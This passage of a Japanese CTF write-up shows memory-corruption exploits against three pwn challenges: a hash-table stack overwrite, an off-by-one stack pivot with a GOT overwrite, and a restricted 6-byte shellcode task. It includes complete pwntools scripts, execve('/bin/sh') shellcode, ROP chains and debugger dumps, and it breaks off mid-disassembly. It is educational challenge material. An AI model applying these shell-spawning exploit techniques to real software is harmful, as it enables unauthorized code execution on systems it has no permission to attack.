      0x7ffff5f58b58|+0x0148|+041: 0x00007f9d54e2a1ca  ->  0xe80001d9cfe8c789  <-  retaddr[2]
chal関数のリターンアドレスは0x7ffff5f58b48(rbp+0x8)にあることが分かりました。chal関数の逆アセンブル結果より、entriesの先頭は、rbp-0x120からであるため、位置関係を計算するとリターンアドレスの場所はentries[24].hashの後半4バイトとentries[25].reservedの位置にあることが分かります。リトルエンディアンに注意しながら4バイトごとに区切って見てみると以下のようになっています。
$rbp  0x7ffff5f58b40|+0x0130|+038: 0x00007fff (entries[24].hash)     |  f5f58b50 (entries[24].reserved)  |  ->  0x00007ffff5f58bf0  ->  0x00007ffff5f58c50  ->  ...
      0x7ffff5f58b48|+0x0138|+039: 0x000055c3 (entries[25].reserved) |  591cc4b5 (entries[24].hash)      | <main+0x45>  ->  0xf3c35d00000000b8  <-  retaddr[1]
      0x7ffff5f58b50|+0x0140|+040: 0x00007fff (entries[25].hash)     |  f5f58bf0 (entries[25].hash)      |  
つまり、リターンアドレスは末尾4バイトしか書き換えることができません。しかし、次の0x7ffff5f58b50はentries[25].hashの位置に相当し、ここであれば丸々8バイト書き換えることができます。よって、なんとか0x7ffff5f58b48のリターンアドレス先でret命令を呼べるようにしたいです。今回、elfベースのリークはできているのでこれは簡単にできます。ret命令に書き換えることで0x7ffff5f58b50がリターンアドレスとして使えることができるので、シェルコードを別途スタック上に書き込んだ上でその先頭アドレスをここに書き込めばシェルコードを呼んでくれます。
シェルコード構築
まず、シェルコードが呼ばれる直前の各レジスタの値を見てみます(別のプロセスを起動したためスタックのアドレス等は先ほどとは違います)。
---------------------------------------------------------------------------------------------------- registers ----
$rax   : 0x0000000000000000
$rbx   : 0x00007ffd36c7b7a8  ->  0x00007ffd36c7d4a3  ->  0x616b2f656d6f682f 'na_pa[...]'
$rcx   : 0x00007f7c68b1c574 <write+0x14>  ->  0x5477fffff0003d48 ('H='?)
$rdx   : 0x0000000000000000
$rsp   : 0x00007ffd36c7b680  ->  0x00007ffd36c7b698  ->  0x04eb909090df8948
$rbp   : 0x0000000036c7b680
$rsi   : 0x00007f7c68c04643 <_IO_2_1_stdout_+0x83>  ->  0xc05710000000000a
$rdi   : 0x00007f7c68c05710  ->  0x0000000000000000
$rip   : 0x000055b432dbc01a <_init+0x1a>  ->  0x35ff0000000000c3
$r8    : 0x0000000000000004
$r9    : 0x0000000000000000
$r10   : 0x00007f7c68a0abe8  ->  0x0011002200006cb5
$r11   : 0x0000000000000202
$r12   : 0x0000000000000001
$r13   : 0x0000000000000000
$r14   : 0x000055b432dbedd8  ->  0x000055b432dbc140  ->  0x2f1d3d80fa1e0ff3
$r15   : 0x00007f7c68c90000 <_rtld_global>  ->  0x00007f7c68c912e0  ->  0x000055b432dbb000  ->  0x00010102464c457f
$eflags: 0x10246 [ident align vx86 RESUME nested overflow direction INTERRUPT trap sign ZERO adjust PARITY carry] [Ring=3]
$cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00 
rbxにはスタックのアドレスが格納されています。/bin/sh\0へのアドレスを指定する際に、アセンブリでスタックのアドレスをそのまま代入しようとするとかなりのバイト数を消費するため、このrbxをうまく活用して/bin/sh\0へのアドレスをrdiレジスタに設定する必要があります。
あとはシェルコードを書いていくだけなのですが、4バイトごとに書き込むことのできないreservedメンバの領域が出てくるため、そこを避けながらシェルコードを書いていく必要があります。今回は以下のようなシェルコードを作成しました。
0:  48 89 df                mov    rdi,rbx
3:  90                      nop
4:  90                      nop
5:  90                      nop
6:  eb 04                   jmp    c <_main+0xc>
8:  48 83 ef 38             sub    rdi,0x38
c:  90                      nop
d:  90                      nop
e:  eb 04                   jmp    14 <_main+0x14>
10: 48 31 f6                xor    rsi,rsi
13: 48 31 d2                xor    rdx,rdx
16: eb 04                   jmp    1c <_main+0x1c>
18: 6a 3b                   push   0x3b
1a: 58                      pop    rax
1b: 0f 05                   syscall
8バイトごとに書き込みつつ、間の4バイトはjmp +4で飛んでもらいます。なお、今回書き込むときは、
uint64_t calc_hash(char *buf, size_t len) {
    uint64_t result = 0;
    for (size_t i = 0; i < len; i++) {
        result = result * 127 + buf[i];
    }
    return result;
}
で計算された値が格納されるため、目的となる値が格納されるためのbufを求める関数をChatGPT先生に作成してもらいました。
def invert_hash(result):
    """
    calc_hash で得られた result から buf の候補を復元する。
    buf[i] は 0〜255 の範囲に制限される。
    """
    buf = []
    while result > 0:
        # 下位の文字(最後に足された値)は result % 127
        c = result % 127
        if c > 255:
            raise ValueError("復元不可能な値です")
        buf.append(c)
        result //= 127
    # 逆順に並べ替えてバイト列を得る
    buf.reverse()
    return bytes(buf)
解答
ans.py
from pwn import *
#context.log_level = "debug"
elf = context.binary = ELF(args.EXE or 'vuln')
if args.LIBC == "True":
    libc = ELF('libc.so.6')
elif isinstance(args.LIBC, str) and args.LIBC != "":
    libc = ELF(args.LIBC)
else:
    libc = 0
log.info(f"libc = {libc.path if libc else 'not loaded'}")
# エイリアス
# convのところはもし引数がstr型であればbyte型に、intやfloat型であればstr型に直してからbyte型に直してくれる
# e.g. ru("Choice: ") b"〜"で指定してもよい
# e.g. sl(1) str型にしてからbyte型に変換される
conv = lambda *x: tuple(
    str(y).encode() if isinstance(y, (int, float)) else
    y.encode() if isinstance(y, str) else
    y if isinstance(y, bytes) else
    (_ for _ in ()).throw(TypeError(f"Unsupported type: {type(y)}"))  # raise TypeError
    for y in x
)
rc  = lambda *x, **y: p.recv(*conv(*x), **y)
ru  = lambda *x, **y: p.recvuntil(*conv(*x), **y)
rl  = lambda *x, **y: p.recvline(*conv(*x), **y)
rrp = lambda *x, **y: p.recvrepeat(*conv(*x), **y)
ral = lambda *x, **y: p.recvall(*conv(*x), **y)
sn  = lambda *x, **y: p.send(*conv(*x), **y)
sl  = lambda *x, **y: p.sendline(*conv(*x), **y)
sa  = lambda *x, **y: p.sendafter(*conv(*x), **y)
sla = lambda *x, **y: p.sendlineafter(*conv(*x), **y)
# e.g. start(argv=[1])とすれば、./{binary} 1 を実行したことになる
# e.g. start(argv=[1], env={'DEBUG': '1'}, cwd='/tmp')とすれば環境変数等も指定できる
def start(argv=[], *a, **kw):
    # アーキテクチャの指定(何も指定しなければx64)
    if args.X32:
        context.arch = "i386"
        log.info("set i386")
    else:
        context.arch = "amd64"
        log.info("set amd64")
    # tmuxを使用する場合はTMUXを指定
    if args.TMUX:
        context.terminal  = ['tmux', 'split-window', '-h']
    # 実行方法の指定
    if args.REMOTE:
        # REMOTE=host:portの形で指定
        (host, port) = args.REMOTE.split(':')
        return connect(host, port)
    elif args.GDB:
        return gdb.debug([elf.path] + argv, gdbscript=gdbscript, *a, **kw)
    else:
        return process([elf.path] + argv, *a, **kw)
gdbscript = '''
b *chal+322
b *chal+416
b *chal+492
continue
'''.format(**locals())
def padu64(b):
    while len(b) < 8:
        b = b + b"\x00"
    return u64(b)
def show_addr(addr,name="libc_base"):
    print("------------------------------")
    log.info(f"{name} = {addr:#018x}")
    print("------------------------------")
def menu(num):
    ru("1. New hash\n2. Show hash\n> ")
    sl(num)
def add(index,data="hoge"):
    menu(1)
    ru("Index: ")
    sl(index)
    ru("Input> ")
    sl(data)
def show(index):
    menu(2)
    ru("Index: ")
    sl(index)
    ru("Hash: ")
    return int(rl().rstrip(),16)
def invert_hash(result):
    """
    calc_hash で得られた result から buf の候補を復元する。
    buf[i] は 0〜255 の範囲に制限される。
    """
    buf = []
    while result > 0:
        # 下位の文字(最後に足された値)は result % 127
        c = result % 127
        if c > 255:
            raise ValueError("復元不可能な値です")
        buf.append(c)
        result //= 127
    # 逆順に並べ替えてバイト列を得る
    buf.reverse()
    return bytes(buf)
p = start()
for i in range(50):
    print("i = " + str(i))
    print(hex(show(i)))
# phase1 leak stack addr
addr_stack = show(41)
show_addr(addr_stack,"stack_addr")
addr_payload = addr_stack - 0x120 #27の位置
# phase2 return addr → ret
addr_start = show(47)
elf.address = addr_start - 0x25 - 0x10a0
show_addr(elf.address,"elf_base")
rop_ret = elf.address + 0x000000000000101a
add(24,invert_hash((rop_ret & 0xffffffff) << 32))
# phase3 ret2payload
add(25,invert_hash(addr_payload))
val = int.from_bytes(b"/bin/sh\0", "little")
add(45,invert_hash(val))
shellcode = 0x4889DF909090EB044883EF389090EB044831F64831D2EB046A3B580F05
b = shellcode.to_bytes((shellcode.bit_length() + 7) // 8, "big")
chunks = [int.from_bytes(b[i:i+8], "little") for i in range(0, len(b), 8)]
for i, c in enumerate(chunks):
    add(27+i,invert_hash(c))
menu(3)
p.interactive()
one(Medium)
概要
source code
#include <stdio.h>
#include <stdint.h>
#include <unistd.h>
__attribute__((constructor))
void init(void){
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);
}
int get_num() {
    int num;
    scanf("%d", &num);
    return num;
}
void memo() {
    char buf[336] = {};
    for (;;) {
        printf("\nMenu\n"
                "1. Write\n"
                "2. Read\n"
                "0. Exit\n"
                "> ");
        switch (get_num()) {
            case 1:
                scanf("%336s", buf);
                break;
            case 2:
                printf("%s\n", buf);
                break;
            default:
                return;
        }
    }
}
int main(void) {
    char name[16] = {};
    printf("Enter your name > ");
    fgets(name, sizeof(name), stdin);
    memo();
    return 0;
}
security
RELRO           STACK CANARY      NX            PIE
Partial RELRO   No canary found   NX enabled    No PIE
こちらの問題もかなり簡潔な内容となっていて見やすいですが、どのような流れでシェルを取っていくか考えづらい問題となっています。脆弱性としてはscanf("%336s", buf);の部分にoff-by-one errorが存在し、配置的にsaved rbpの末尾1バイトをヌルにすることができます。また、memo関数が終了してリターンした後すぐにmain関数も終了する関係でleave; ret命令が連続で実行されます。よってstack pivotが起こります。
当日はこの脆弱性部分とstack pivotする点には気づいていましたが、ここにたどり着いた時点でかなり焦っていて、デバッグをほとんどせずに飛ばしてしまいました。見た目が簡単な問題ほどデバッグで見えてくるものが多いのでもったいないことをしたなと感じています。
stack pivot
今回の脆弱性はsaved rbpの末尾1バイトをヌルにしてくれるというものですが、ASLRの関係でスタックのアドレスはランダムになっているため、末尾1バイトは0x00~0xf0のいずれかになります。ある時のスタックの状況を見てみると、
      0x7ffcc24e1ca0|+0x0130|+038: 0x0000000000000000
      0x7ffcc24e1ca8|+0x0138|+039: 0x0000000000000000
      0x7ffcc24e1cb0|+0x0140|+040: 0x0000000000000000
      0x7ffcc24e1cb8|+0x0148|+041: 0x0000000000000000
$rbp  0x7ffcc24e1cc0|+0x0150|+042: 0x00007ffcc24e1ce0  ->  0x00007ffcc24e1d80  ->  0x00007ffcc24e1de0  ->  ...
      0x7ffcc24e1cc8|+0x0158|+043: 0x00000000004012d7 <main+0x4d>  ->  0x00c3c900000000b8  <-  retaddr[1]
      0x7ffcc24e1cd0|+0x0160|+044: 0x0000000a65676f68 ('hoge\n'?)
      0x7ffcc24e1cd8|+0x0168|+045: 0x0000000000000000
      0x7ffcc24e1ce0|+0x0170|+046: 0x00007ffcc24e1d80  ->  0x00007ffcc24e1de0  ->  0x0000000000000000
      0x7ffcc24e1ce8|+0x0178|+047: 0x00007f075322a1ca  ->  0xe80001d9cfe8c789  <-  retaddr[2]
0x7ffcc24e1cc0がmemo関数のsaved rbpで、本来であれば0x00007ffcc24e1ce0を指すはずなのに末尾1バイトがヌルになれば、bufの方の領域(0x7ffcc24e1cb8よりも下位の方向)を指すようになるため、何かしらできそうですが、
      0x7ffd1d8db6e0|+0x0130|+038: 0x0000000000000000
      0x7ffd1d8db6e8|+0x0138|+039: 0x0000000000000000
      0x7ffd1d8db6f0|+0x0140|+040: 0x0000000000000000
      0x7ffd1d8db6f8|+0x0148|+041: 0x0000000000000000
$rbp  0x7ffd1d8db700|+0x0150|+042: 0x00007ffd1d8db720  ->  0x00007ffd1d8db7c0  ->  0x00007ffd1d8db820  ->  ...
      0x7ffd1d8db708|+0x0158|+043: 0x00000000004012d7 <main+0x4d>  ->  0x00c3c900000000b8  <-  retaddr[1]
      0x7ffd1d8db710|+0x0160|+044: 0x0000000a65676f68 ('hoge\n'?)
      0x7ffd1d8db718|+0x0168|+045: 0x0000000000000000
      0x7ffd1d8db720|+0x0170|+046: 0x00007ffd1d8db7c0  ->  0x00007ffd1d8db820  ->  0x0000000000000000
      0x7ffd1d8db728|+0x0178|+047: 0x00007fa249c2a1ca  ->  0xe80001d9cfe8c789  <-  retaddr[2]
saved rbpの末尾が0x20のときに、ヌルに変わったとしてもsaved rbpが格納されているアドレスを指すこととなり、これでは何もできなさそうです。よって、ROPを構築することも考えて、saved rbpの末尾の値がだいたい0x50~0xf0のときにうまくいきます。
うまくいったときは、まずmemo関数のleave命令でrbpレジスタにその値が格納され、次にmain関数で再度leave命令が実行され、最終的には末尾がヌルのsaved rbpの値+8の位置のアドレスがrspレジスタに格納されます。この時、rspが指すアドレスはbufの領域に被っているため、336文字書き込むついでにROPを書いておけば、次にROPを実行してくれます。自分は以下のようなROPを書きました。
p64(rop_pop_rbp) + p64(elf.got["puts"]+0x150) + p64(elf.symbols["memo"]+38) + p64(rop_ret)
なお、gotおよびmemo関数の逆アセンブル結果は以下のようになっています。
Name              | PLT            | GOT            | GOT value     
---------------------------------------------------- .rela.dyn ----------------------------------------------------
__libc_start_main | Not found      | 0x000000403fd8 | 0x7fd01ec2a200 <__libc_start_main>
__gmon_start__    | Not found      | 0x000000403fe0 | 0x000000000000
---------------------------------------------------- .rela.plt ----------------------------------------------------
puts              | 0x000000401080 | 0x000000404000 | 0x000000401030 <.plt+0x10>
setbuf            | 0x000000401090 | 0x000000404008 | 0x7fd01ec8f750 <setbuf>
printf            | 0x0000004010a0 | 0x000000404010 | 0x7fd01ec60100 <printf>
fgets             | 0x0000004010b0 | 0x000000404018 | 0x7fd01ec85b30 <fgets>
__isoc99_scanf    | 0x0000004010c0 | 0x000000404020 | 0x7fd01ec5fe10 <__isoc99_scanf>
gef> disas memo
Dump of assembler code for function memo:
   0x0000000000401210 <+0>:     endbr64
   0x0000000000401214 <+4>:     push   rbp
   0x0000000000401215 <+5>:     mov    rbp,rsp
   0x0000000000401218 <+8>:     sub    rsp,0x150
   0x000000000040121f <+15>:    lea    rdx,[rbp-0x150]
   0x0000000000401226 <+22>:    mov    eax,0x0
   0x000000000040122b <+27>:    mov    ecx,0x2a
   0x0000000000401230 <+32>:    mov    rdi,rdx
   0x0000000000401233 <+35>:    rep stos QWORD PTR es:[rdi],rax
   0x0000000000401236 <+38>:    mov    edi,0x402010
   0x000000000040123b <+43>:    mov    eax,0x0
   0x0000000000401240 <+48>:    call   0x4010a0 <printf@plt>
   0x0000000000401245 <+53>:    mov    eax,0x0
   0x000000000040124a <+58>:    call   0x4011e9 <get_num>
   0x000000000040124f <+63>:    cmp    eax,0x1
   0x0000000000401252 <+66>:    je     0x40125b <memo+75>
   0x0000000000401254 <+68>:    cmp    eax,0x2
   0x0000000000401257 <+71>:    je     0x401276 <memo+102>
   0x0000000000401259 <+73>:    jmp    0x401288 <memo+120>
   0x000000000040125b <+75>:    lea    rax,[rbp-0x150]
   0x0000000000401262 <+82>:    mov    rsi,rax
   0x0000000000401265 <+85>:    mov    edi,0x402032
   0x000000000040126a <+90>:    mov    eax,0x0
   0x000000000040126f <+95>:    call   0x4010c0 <__isoc99_scanf@plt>
   0x0000000000401274 <+100>:   jmp    0x401286 <memo+118>
   0x0000000000401276 <+102>:   lea    rax,[rbp-0x150]
   0x000000000040127d <+109>:   mov    rdi,rax
   0x0000000000401280 <+112>:   call   0x401080 <puts@plt>
   0x0000000000401285 <+117>:   nop
   0x0000000000401286 <+118>:   jmp    0x401236 <memo+38>
   0x0000000000401288 <+120>:   leave
=> 0x0000000000401289 <+121>:   ret
2番の選択肢を選ぶとrbp-0x150の位置を表示してくれるため、puts@got+0x150をrbpに設定してからmemo関数のメニューを表示してくれる箇所に飛ばすROPを組みました。これによってrbpレジスタにputs@got+0x150を設定した状態で表示したり書き込んだりすることが出来るようになりました。
なお、stack pivotでbufのどこに飛ぶかはASLRにより分からないため、全体にROPを書き込んでいます。また、今回のROPはパディング含めて0x20バイトであるため、ROPの途中に飛んでしまったら失敗します。
GOT Overwrite & Call System
今回はPartial RELROなのでgotを書き換えてsystem("/bin/sh\0")を呼べるようにします。何かいい場所がないか見てみると
int main(void) {
    char name[16] = {};
    printf("Enter your name > ");
    fgets(name, sizeof(name), stdin);
    memo();
    return 0;
}
のfgetsをsystemに変えることができればいい感じに呼べそうです。第1引数は
   0x00000000004012b5 <+43>:    mov    rdx,QWORD PTR [rip+0x2d94]        # 0x404050 <stdin@GLIBC_2.2.5>
   0x00000000004012bc <+50>:    lea    rax,[rbp-0x10]
   0x00000000004012c0 <+54>:    mov    esi,0x10
   0x00000000004012c5 <+59>:    mov    rdi,rax
   0x00000000004012c8 <+62>:    call   0x4010b0 <fgets@plt>
より、rbp-0x10で設定できそうなので、以下のことを一気に行います。
- 
fgets@gotをsystemにする
- 
rbp-0x10の位置に/bin/sh\0を書き込む
- 
puts@gotをmain+43にする
この書き込みを行ったあと、memo関数の2番の選択肢を実行すると、実際はputs関数なのでputs関数のgotが呼ばれ、最終的にはsystem("/bin/sh\0")を呼ぶことができます。ただ注意点が2点あります。
1点目はgot書き換え時の注意点で、
gef> x/60gx 0x000000404000
0x404000 <puts@got[plt]>:       0x0000000000401030      0x00007fd01ec8f750
0x404010 <printf@got[plt]>:     0x00007fd01ec60100      0x00007fd01ec85b30
0x404020 <__isoc99_scanf@got.plt>:      0x00007fd01ec5fe10      0x0000000000000000
0x404030:       0x0000000000000000      0x0000000000000000
0x404040 <stdout@GLIBC_2.2.5>:  0x00007fd01ee045c0      0x0000000000000000
0x404050 <stdin@GLIBC_2.2.5>:   0x00007fd01ee038e0      0x0000000000000000
/bin/sh\0を書き込む際にstdout@GLIBC_2.2.5とstdin@GLIBC_2.2.5の部分も上書きすることになりますが、ここを書き換えると後程挙動がおかしくなるため、ここは元の値が入るようにする必要があります。
2点目はsystem関数呼び出し時のスタックアライメントについてです。自分が試した時はputs@gotをsystemに書き換えるだけだと、呼び出し時点でスタックアライメントの条件を満たすことが出来ず、途中で落ちてしまいました。そこで、system関数の中身を見てみると、
gef> disas system
Dump of assembler code for function system:
   0x00007fd01ec58750 <+0>:     endbr64
   0x00007fd01ec58754 <+4>:     test   rdi,rdi
   0x00007fd01ec58757 <+7>:     je     0x7fd01ec58760 <system+16>
   0x00007fd01ec58759 <+9>:     jmp    0x7fd01ec582d0
gef> x/10i 0x7fd01ec582d0
   0x7fd01ec582d0:      push   r13
   0x7fd01ec582d2:      mov    edx,0x1
   0x7fd01ec582d7:      push   r12
   0x7fd01ec582d9:      mov    r12,rdi
   0x7fd01ec582dc:      push   rbp
   0x7fd01ec582dd:      push   rbx
   0x7fd01ec582de:      sub    rsp,0x388
   0x7fd01ec582e5:      mov    rax,QWORD PTR fs:0x28
   0x7fd01ec582ee:      mov    QWORD PTR [rsp+0x378],rax
第1引数のチェックをした後、ジャンプをしていて、その先でいくつかスタックに保存している処理がありました。このスタックに積む数次第でスタックアライメントを調整できるため、最初のpush r13を飛ばした0x7fd01ec582d2:      mov    edx,0x1の部分を設定してみたところうまくいきました。
解答
ans.py
from pwn import *
import time
context.log_level = "debug"
elf = context.binary = ELF(args.EXE or 'vuln')
if args.LIBC == "True":
    libc = ELF('libc.so.6')
elif isinstance(args.LIBC, str) and args.LIBC != "":
    libc = ELF(args.LIBC)
else:
    libc = 0  
log.info(f"libc = {libc.path if libc else 'not loaded'}")
# エイリアス
# convのところはもし引数がstr型であればbyte型に、intやfloat型であればstr型に直してからbyte型に直してくれる
# e.g. ru("Choice: ") b"〜"で指定してもよい
# e.g. sl(1) str型にしてからbyte型に変換される 
conv = lambda *x: tuple(
    str(y).encode() if isinstance(y, (int, float)) else
    y.encode() if isinstance(y, str) else
    y if isinstance(y, bytes) else
    (_ for _ in ()).throw(TypeError(f"Unsupported type: {type(y)}"))  # raise TypeError
    for y in x
)
rc  = lambda *x, **y: p.recv(*conv(*x), **y)
ru  = lambda *x, **y: p.recvuntil(*conv(*x), **y)
rl  = lambda *x, **y: p.recvline(*conv(*x), **y)
rrp = lambda *x, **y: p.recvrepeat(*conv(*x), **y)
ral = lambda *x, **y: p.recvall(*conv(*x), **y)
sn  = lambda *x, **y: p.send(*conv(*x), **y)
sl  = lambda *x, **y: p.sendline(*conv(*x), **y)
sa  = lambda *x, **y: p.sendafter(*conv(*x), **y)
sla = lambda *x, **y: p.sendlineafter(*conv(*x), **y)
# e.g. start(argv=[1])とすれば、./{binary} 1 を実行したことになる
# e.g. start(argv=[1], env={'DEBUG': '1'}, cwd='/tmp')とすれば環境変数等も指定できる
def start(argv=[], *a, **kw):
    # アーキテクチャの指定(何も指定しなければx64)
    if args.X32:
        context.arch = "i386"
        log.info("set i386")
    else:
        context.arch = "amd64"
        log.info("set amd64")
    
    # tmuxを使用する場合はTMUXを指定
    if args.TMUX:
        context.terminal  = ['tmux', 'split-window', '-h']
    
    # 実行方法の指定
    if args.REMOTE:
        # REMOTE=host:portの形で指定
        (host, port) = args.REMOTE.split(':')
        return connect(host, port)
    elif args.GDB:
        return gdb.debug([elf.path] + argv, gdbscript=gdbscript, *a, **kw)
    else:
        return process([elf.path] + argv, *a, **kw)
gdbscript = '''
b *memo+95
b *memo+112
b *memo+120
continue
'''.format(**locals())
def padu64(b): 
    while len(b) < 8: 
        b = b + b"\x00" 
    return u64(b)
def show_addr(addr,name="libc_base"):
    print("------------------------------")
    log.info(f"{name} = {addr:#018x}")
    print("------------------------------")
def menu(num):
    ru("> ")
    sl(num)
def write_buf(data="hoge"):
    menu(1)
    sl(data)
def read_buf():
    menu(2)
def escape():
    menu(3)
p = start()
# phase1 libc leak
ru("Enter your name > ")
sl("hoge")
rop_pop_rbp = 0x000000000040119d
rop_ret = 0x000000000040101a
payload = b"A" * 0x8
payload += (p64(rop_pop_rbp) + p64(elf.got["puts"]+0x150) + p64(elf.symbols["memo"]+38) + p64(rop_ret)) * 0x10
payload += b"A" * 0x8
write_buf(payload)
escape()
read_buf()
ru("> ")
libc.address = padu64(rl().rstrip()) - libc.symbols["puts"]
show_addr(libc.address)
# phase2 GOT Overwrite & call system
payload = p64(elf.symbols["main"]+43) # puts@got
payload += p64(libc.symbols["setbuf"])
payload += p64(libc.symbols["printf"])
payload += p64(libc.address + 0x582d2) #fgets@got
payload += p64(libc.symbols["__isoc99_scanf"])
payload += b"B" * 0x18
payload += p64(libc.symbols["_IO_2_1_stdout_"])
payload += b"B" * 0x8
payload += p64(libc.symbols["_IO_2_1_stdin_"])
payload += b"B" * (0x140 - len(payload))
payload += b"/bin/sh\0"
write_buf(payload)
read_buf()
p.interactive()
tiny-execute2(Hard)
概要
source code
#include <stdio.h>
#include <unistd.h>
#include <string.h>
int check(char *buf, int size){
	char forbidden[] = "cdflagbin/sh";
	for(int i=0; i<size; i++){
		for(int j=0; j<sizeof(forbidden); j++){
			if (buf[i] == forbidden[j]){
				return 0;
			}
		}
	}
	return 1;
}
int main(void){
	char buf[6] = {0};
	dprintf(STDOUT_FILENO, "Input shellcode > ");
	int size = read(STDIN_FILENO, buf, sizeof(buf));
	if(!check(buf, size)){
		dprintf(STDOUT_FILENO, "Forbidden characters detected!\n");
		return -1;
	}
	dprintf(STDOUT_FILENO, "OK! executing...\n");
	((int (*)(void))buf)();
	return 0;
}
security
RELRO           STACK CANARY      NX            PIE
Full RELRO      Canary found      NX enabled    PIE enabled
└─$ readelf -l tiny-execute2               
Elf file type is DYN (Position-Independent Executable file)
Entry point 0x10a0
There are 13 program headers, starting at offset 64
Program Headers:
  Type           Offset             VirtAddr           PhysAddr
                 FileSiz            MemSiz              Flags  Align
  PHDR           0x0000000000000040 0x0000000000000040 0x0000000000000040
                 0x00000000000002d8 0x00000000000002d8  R      0x8
  INTERP         0x0000000000000318 0x0000000000000318 0x0000000000000318
                 0x000000000000001c 0x000000000000001c  R      0x1
      [Requesting program interpreter: /lib64/ld-linux-x86-64.so.2]
  LOAD           0x0000000000000000 0x0000000000000000 0x0000000000000000
                 0x00000000000006c0 0x00000000000006c0  R      0x1000
  LOAD           0x0000000000001000 0x0000000000001000 0x0000000000001000
                 0x0000000000000309 0x0000000000000309  R E    0x1000
  LOAD           0x0000000000002000 0x0000000000002000 0x0000000000002000
                 0x000000000000015c 0x000000000000015c  R      0x1000
  LOAD           0x0000000000002da8 0x0000000000003da8 0x0000000000003da8
                 0x0000000000000268 0x0000000000000270  RW     0x1000
  DYNAMIC        0x0000000000002db8 0x0000000000003db8 0x0000000000003db8
                 0x00000000000001f0 0x00000000000001f0  RW     0x8
  NOTE           0x0000000000000338 0x0000000000000338 0x0000000000000338
                 0x0000000000000030 0x0000000000000030  R      0x8
  NOTE           0x0000000000000368 0x0000000000000368 0x0000000000000368
                 0x0000000000000044 0x0000000000000044  R      0x4
  GNU_PROPERTY   0x0000000000000338 0x0000000000000338 0x0000000000000338
                 0x0000000000000030 0x0000000000000030  R      0x8
  GNU_EH_FRAME   0x0000000000002054 0x0000000000002054 0x0000000000002054
                 0x000000000000003c 0x000000000000003c  R      0x4
  GNU_STACK      0x0000000000000000 0x0000000000000000 0x0000000000000000
                 0x0000000000000000 0x0000000000000000  RWE    0x10
  GNU_RELRO      0x0000000000002da8 0x0000000000003da8 0x0000000000003da8
                 0x0000000000000258 0x0000000000000258  R      0x1
tiny-executeとの違いはforbiddenの文字列がmain関数からcheck関数に移動した点と、bufのサイズが24バイトから6バイトに大幅に削減された点です。Hard問なだけあって、どうすればいいのかなかなか思いつきにくいですが、あることに気づけばtiny-executeとそこまで大差なく解くことができます。かなり夢のある問題でした。
stagerをシェルコードで作成(失敗)
tiny-executeの方ではstagerを用いて解きました。こちらの手法であれば変更点の1つ目である、forbiddenの文字列が移動してしまったという点は影響しないです。ということで、極力元のレジスタ値を使ってstagerを構築できないか考えました。関数ポインタを呼ぶ直前のレジスタは以下のようになっています。
---------------------------------------------------------------------------------------------------- registers ----
$rax   : 0x00007ffc6558cf82  ->  0x8e0000e2ff7bb25a
$rbx   : 0x00007ffc6558d0b8  ->  0x00007ffc6558e485  ->  0x616b2f656d6f682f 'tin[...]'
$rcx   : 0x0000000000000000
$rdx   : 0x0000000000000000
$rsp   : 0x00007ffc6558cf70  ->  0x0000000000000000
$rbp   : 0x00007ffc6558cf90  ->  0x00007ffc6558d030  ->  0x00007ffc6558d090  ->  0x0000000000000000
$rsi   : 0x00007ffc6558c63c  ->  0x6365786520214b4f 'OK! executing...\n '
$rdi   : 0x00007ffc6558c610  ->  0x00007ffc6558c63c  ->  0x6365786520214b4f 'OK! executing...\n '
$rip   : 0x000055a9f23982dd <main+0xac>  ->  0x4800000000b8d0ff
$r8    : 0x0000000000000000
$r9    : 0x00007f4600c85380  ->  0xe5894855fa1e0ff3
$r10   : 0x00007ffc6558ccb0  ->  0x0000000000800000
$r11   : 0x0000000000000202
$r12   : 0x0000000000000001
$r13   : 0x0000000000000000
$r14   : 0x000055a9f239adb0 <__do_global_dtors_aux_fini_array_entry>  ->  0x000055a9f2398140 <__do_global_dtors_aux>  ->  0x2ec53d80fa1e0ff3
$r15   : 0x00007f4600cb8000 <_rtld_global>  ->  0x00007f4600cb92e0  ->  0x000055a9f2397000  ->  0x00010102464c457f
$eflags: 0x246 [ident align vx86 resume nested overflow direction INTERRUPT trap sign ZERO adjust PARITY carry] [Ring=3]
$cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00 
また、main関数の逆アセンブルの結果は以下の通りです。
mainの逆アセンブル結果
gef> disas main
Dump of assembler code for function main:                                                                          
   0x000055a9f2398231 <+0>:     endbr64                                                                            
   0x000055a9f2398235 <+4>:     push   rbp                                                                         
   0x000055a9f2398236 <+5>:     mov    rbp,rsp                                                                     
   0x000055a9f2398239 <+8>:     sub    rsp,0x20                                                                    
   0x000055a9f239823d <+12>:    mov    rax,QWORD PTR fs:0x28                                                       
   0x000055a9f2398246 <+21>:    mov    QWORD PTR [rbp-0x8],rax                                                     
   0x000055a9f239824a <+25>:    xor    eax,eax                                                                     
   0x000055a9f239824c <+27>:    mov    DWORD PTR [rbp-0xe],0x0                                                     
   0x000055a9f2398253 <+34>:    mov    WORD PTR [rbp-0xa],0x0                                                      
   0x000055a9f2398259 <+40>:    lea    rax,[rip+0xda8]        # 0x55a9f2399008                                     
   0x000055a9f2398260 <+47>:    mov    rsi,rax                                                                     
   0x000055a9f2398263 <+50>:    mov    edi,0x1                                                                     
   0x000055a9f2398268 <+55>:    mov    eax,0x0                                                                     
   0x000055a9f239826d <+60>:    call   0x55a9f2398080 <dprintf@plt>                                                
   0x000055a9f2398272 <+65>:    lea    rax,[rbp-0xe]                                                               
   0x000055a9f2398276 <+69>:    mov    edx,0x6                                                                     
   0x000055a9f239827b <+74>:    mov    rsi,rax                                                                     
   0x000055a9f239827e <+77>:    mov    edi,0x0                                                                     
   0x000055a9f2398283 <+82>:    call   0x55a9f2398090 <read@plt>                                                   
   0x000055a9f2398288 <+87>:    mov    DWORD PTR [rbp-0x14],eax                                                    
   0x000055a9f239828b <+90>:    mov    edx,DWORD PTR [rbp-0x14]                                                    
   0x000055a9f239828e <+93>:    lea    rax,[rbp-0xe]                                                               
   0x000055a9f2398292 <+97>:    mov    esi,edx                                                                     
   0x000055a9f2398294 <+99>:    mov    rdi,rax                                                                     
   0x000055a9f2398297 <+102>:   call   0x55a9f2398189 <check>                                                      
   0x000055a9f239829c <+107>:   test   eax,eax                                                                     
   0x000055a9f239829e <+109>:   jne    0x55a9f23982c0 <main+143>
   0x000055a9f23982a0 <+111>:   lea    rax,[rip+0xd79]        # 0x55a9f2399020
   0x000055a9f23982a7 <+118>:   mov    rsi,rax
   0x000055a9f23982aa <+121>:   mov    edi,0x1
